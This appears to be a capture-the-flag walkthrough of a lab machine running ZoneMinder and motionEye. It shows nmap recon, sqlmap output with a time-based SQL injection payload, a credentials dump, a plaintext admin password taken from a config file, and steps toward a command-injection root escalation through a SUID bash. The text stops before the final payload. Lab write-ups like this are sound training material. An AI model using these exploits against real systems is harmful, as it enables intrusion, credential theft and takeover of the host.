A Linux machine running two vulnerable surveillance applications — a SQL injection in ZoneMinder leads to credentials, and an authenticated RCE in motionEye is leveraged to set a SUID bit and escalate to root.
Recon
Nmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
$ ip=10.129.3.251; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr' '',' | sed s/,$//); nmap -p$ports -sC -sV $ip Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-08 08:33 -0400 Nmap scan report for 10.129.3.251 Host is up (0.13s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |_ 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA) 80/tcp open http Apache httpd 2.4.58 |_http-title: Did not follow redirect to http://cctv.htb/ Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 75.31 seconds
Findings:
22/tcp — OpenSSH 9.6p1 on Ubuntu
80/tcp — Apache 2.4.58 redirecting to cctv.htb
Foothold
Hosts File
1
$ echo'10.129.3.251 cctv.htb' | sudotee -a /etc/hosts
ZoneMinder — CVE-2024-51482 SQL Injection
The website has a login link pointing to cctv.htb/zm, which hosts ZoneMinder — an open-source CCTV software application. The default credentials admin:admin work, and the version is visible in the page header: 1.37.63.
This version is vulnerable to CVE-2024-51482, a Boolean-based SQL injection in web/ajax/event.php. The advisory PoC identifies the exact vulnerable endpoint. Grab a session cookie after logging in, then hand the URL to sqlmap:
[09:54:07] [INFO] checking if the injection point on GET parameter 'tid' is a false positive GET parameter 'tid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 276 HTTP(s) requests: --- Parameter: tid (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 6481 FROM (SELECT(SLEEP(5)))fPce) --- [09:54:31] [INFO] the back-end DBMS is MySQL [09:54:31] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions web server operating system: Linux Ubuntu web application technology: Apache 2.4.58 back-end DBMS: MySQL >= 5.0.12 [09:54:35] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 67 times [09:54:35] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cctv.htb'
[*] ending @ 09:54:35 /2026-03-08/
Time-based payloads are slow. Rather than letting sqlmap enumerate the schema, consult ZoneMinder’s documented database schema and target the Users table directly:
[11:30:53] [INFO] table 'zm.Users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/cctv.htb/dump/zm/Users.csv' [11:30:53] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 1670 times [11:30:53] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cctv.htb'
motionEye v0.43.1b4 is vulnerable to CVE-2025-60787, an authenticated RCE via OS command injection. Exploitation requires admin credentials.
None of the previously recovered credentials work. However, the motionEye configuration file at /etc/motioneye/motion.conf stores credentials in plaintext comments:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
mark@cctv:/etc/motioneye$ cat motion.conf # @admin_username admin # @normal_username user # @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0 # @lang en # @enabled on # @normal_password
setup_mode off webcontrol_port 7999 webcontrol_interface 1 webcontrol_localhost on webcontrol_parms 2
camera camera-1.conf
Log in to motionEye at http://localhost:8765 using admin:989c5a8ee87a0e9521ec81a79187d162109282f0.
Privilege Escalation
CVE-2025-60787 — motionEye Authenticated RCE via SUID Abuse
Following the PoC for CVE-2025-60787, motionEye passes the configured Image File Name directly to a shell command without sanitisation. By injecting a shell subexpression into this field, we can execute arbitrary commands as the user running motionEye.
The goal is to set the SUID bit on /bin/bash. Once set, running bash -p preserves the elevated privileges of the file owner (root), giving us a root shell.
Step 1 — Bypass client-side validation. Open the browser developer console (F12) and override the validation function:
1 2 3
configUiValid = function() { returntrue; };
Step 2 — Inject the payload. Navigate to the Still Images settings and configure: